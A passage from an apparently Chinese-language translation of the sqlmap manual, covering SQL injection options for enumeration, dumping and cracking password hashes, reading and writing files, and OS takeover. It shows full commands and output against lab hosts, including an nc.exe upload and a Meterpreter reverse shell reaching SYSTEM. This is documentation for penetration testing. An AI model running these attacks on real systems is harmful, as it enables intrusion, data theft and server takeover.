ES。默认值为 BEUSTQ。S。--time-sec--time-sec 提供一个整数,可以设置时间型盲注响应的延迟时间。默认情况下,它的值为 5 秒。--union-cols--level 值将该范围增加到最多 50 列。有关详细信息,请参阅相关段落。--union-cols 和相应的数字范围,以针对该类型的 SQL 注入测试特定范围的列。例如,12-16 代表进行 12 到 16 列的联合查询注入测试。--union-charNULL 字符。然而,通过提供更高的--level 值,sqlmap 将执行一个随机数字的测试,因为存在少数情况,使用 NULL 的联合查询注入会失败,而使用随机整数会成功。--union-char 和所需的数字(例如:--union-char 123)来测试该类型的 SQL 注入。--union-fromFROM 子句中强制指定使用有效且可访问的表名。例如,Microsoft Access 就要求使用这样的表。如果不提供一个这样的表,联合查询注入将无法正常执行(例如:--union-from=users)。--dns-domainattacker.com),则可以使用该选项(例如:--dns-domain attacker.com)来启用此攻击。它的前提条件是使用 Administrator(即管理员)权限(因为需要使用特权端口 53)运行 sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试。--second-url 与 --second-req--second-url 加上结果显示页面的 URL 地址,或者使用 --second-req 加上相应的请求文件路径,以此来测试此类型的 SQL 注入。指纹识别
-f 或 --fingerprint--fingerprint 开关。这样,sqlmap 则会发起更多的请求,并对DBMS 版本,甚至是操作系统、系统架构和补丁级别信息等方面展开指纹收集。-b 或者 --banner。枚举
--all-b 或 --bannerversion() ,环境变量是 @@version,这取决于目标 DBMS。|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
|
--current-user--current-db--hostname|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
|
--is-dbaTrue,否则返回 False。--users--passwords|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
|
postgres 的明文密码,它通常是 DBA,被识别出的还有用户 testuser 的密码。-U 选项来指定要枚举的特定用户,并破解其对应密码哈希。如果你提供 CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的密码哈希值。--privileges-U 选项来指定要枚举出权限的用户。CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的权限信息。--roles-U 选项来指定要枚举出角色的用户。CU 作为用户名,它会将其视为当前用户的别名,并将获取此用户的角色信息。--dbs--tables,--exclude-sysdbs 和 -D-D 来指定数据库,则 sqlmap 将枚举所有 DBMS 数据库的表。--exclude-sysdbs 以排除所有的系统数据库。TABLESPACE_NAME 而不是数据库名称。--columns,-C,-T 和 -D-T 来指定表名,还可以使用选项 -D 来指定数据库名称。如果未指定数据库名称,将使用当前的数据库名称。你还可以使用选项 -C 来指定要枚举的表列名。|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
|
public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名。--schema 和 --exclude-sysdbs--exclude-sysdbs,只有包含非系统数据库的模式才会被获取并显示出来。|
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
|
--count|
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
|
--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column 和 --where-T 来指定表名,还可以用选项 -D 来指定数据库名称。如果提供了表名而不提供数据库名,则会使用当前的数据库。|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
|
--dump 和选项 -D(不提供 -T 和 -C)。-C 提供一个以逗号分隔的特定列名列表来导出数据。--start 和/或 --stop,以指定要从哪条数据开始导出和在哪条数据停止。例如,如果仅导出第一个条目,就在命令行中提供 --stop 1。或者如果你只想导出第二和第三个条目,就提供 --start 1 --stop 3。--first 和 --last 指定要导出的单个字符或特定范围的字符。例如,如果要导出条目的第三到第五个字符,就提供 --first 3 --last 5。此功能仅适用于盲注技术,因为报错型注入(Error-based)和联合查询注入(UNION query-based)技术不管列数据条目的长度如何,发起的请求数量是完全相同的。OFFSET m, n 直接导出表的数据。在这种情况下,sqlmap 通过确定最适合的 pivot 列(具有唯一值的列,一般是主键),并使用该列检索其他列值,以此来导出数据。如果因为自动选择的 pivot 列不适用(例如:由于缺少表导出结果)而需要强制使用特定列,你可以使用选项 --pivot-column(例如: --pivot-column=id)。--where。提供的逻辑运算将自动在 WHERE 子句内使用。例如,如果使用 --where="id>3",那么只有 id 值大于 3 的行会被获取(通过将 WHERE id>3 附加到使用的查询语句中)。--dump-all 和 --exclude-sysdbs--exclude-sysdbs 以排除所有的系统数据库。在这种情况下,sqlmap 只会导出当前用户的数据库表条目。master 数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。--search,-C,-T,-D--search 需要与以下支持选项一起使用:-
-C,附带以逗号分隔的列名列表来搜索整个 DBMS。
-
-T,附带以逗号分隔的表名列表来搜索整个 DBMS。
-
-D,附带以逗号分隔的数据库名列表来搜索整个 DBMS。
--sql-query 和 --sql-shellSELECT 语句,sqlmap 将获取其输出。否则,如果 Web 应用程序的后端 DBMS 支持多语句,它将通过堆叠查询注入(Stacked queries)技术执行查询。注意,某些 Web 应用程序技术不支持特定 DBMS 上的堆叠查询。例如,当后端 DBMS 是 MySQL 时,PHP 不支持堆叠查询,但是当后端 DBMS 是 PostgreSQL 时,它是支持的。|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo','bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
|
SELECT 语句,然后单独获取每个查询的输出。SELECT 语句并包含一个 FROM 子句,sqlmap 会询问你是否可以返回多个条目。在这种情况下,它知道如何解析返回的结果,逐条计算指定的条目数量,并给出相关输出。暴力破解
--common-tables--tables 并不能用于获取数据库中表的名称。这样的场景通常会在如下情况下发生:-
DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备
information_schema。
-
DBMS 是微软的 Access 数据库,并且其中的系统表
MSysObjects默认设置不可读。
-
当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。
--tables 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-tables,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表。txt/common-tables.txt,支持用户进行任意修改。|
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
|
--common-columns--columns 之后仍不能够获取数据库表的列名的情况。这样的场景通常会在如下情况下发生:-
DBMS 是 < 5.0 版本的 MySQL,它们不具备
information_schema。
-
DBMS 是微软的 Access 数据库,相对应的列名信息在数据库系统表中不存在。
-
当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。
--columns 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-columns,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表列名。txt/common-columns.txt,支持用户进行任意修改。用户自定义函数注入
--udf-inject 和 --shared-lib--udf-inject 并按照说明进行操作即可。--shared-lib 选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。访问文件系统
--file-read|
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit
|
--file-write 和 --file-dest|
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
|
接管操作系统
--os-cmd 和 --os-shellsys_exec() 和 sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。|
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
|
--os-shell,并且和 --sql-shell 一样,具备 TAB 补全和记录历史命令的功能。SELECT 语句中的 INTO OUTFILE,在 Web 服务器根目录中的可写目录中创建 Web 后门,从而执行命令。sqlmap 支持上述功能并允许用户提供一个逗号分隔、用于指定根目录子目录的列表,从而尝试上传 Web 文件传输器和后续的 Web 后门。sqlmap 有以下几种语言的 Web 文件传输器和后门:-
ASP
-
ASP.NET
-
JSP
-
PHP
--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path 和 --tmp-path-
通过 sqlmap 的用户自定义函数
sys_bineval()在数据库内存中执行 Metasploit shellcode。MySQL 和 PostgreSQL 支持该技术,通过开关--os-pwn启用。
-
通过 sqlmap 的用户自定义函数
sys_exec()向 MySQL 和 PostgreSQL 上传一个 Metasploit 独立 payload 传输器并执行,对于 Microsoft SQL Server 则是使用xp_cmdshell()函数,通过开关--os-pwn启用。
-
通过进行从数据库服务器到攻击者机器(由 Metasploit
smb_relay服务监听)之间的 UNC 路径请求的 SMB 反射攻击(MS08-068)来执行 Metasploit shellcode。当 sqlmap 运行于具有高权限(uid=0)的 Linux/Unix 上,且目标 DBMS 以 Windows 管理员身份运行时支持该技术,通过开关--os-smbrelay启用。
-
通过利用 Microsoft SQL Server 2000 和 2005 的
sp_replwritetovarbin存储过程堆缓冲区溢出(MS09-004)在数据库内存中执行 Metasploit shellcode。sqlmap 使用自己的 exploit,自动绕过 DEP 内存保护来触发漏洞,但它依赖 Metasploit 生成 shellcode,以便在成功利用时执行,通过开关--os-bof启用。
|
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
|
SYSTEM 身份运行,然而 PostgreSQL 在 Windows 和 Linux 上均以低权限用户 postgres 运行。Microsoft SQL Server 2000 默认以 SYSTEM 身份运行,而 Microsoft SQL 2005 和 2008 大部分情况下以 NETWORK SERVICE 身份运行,有时候以 LOCAL SERVICE 身份运行。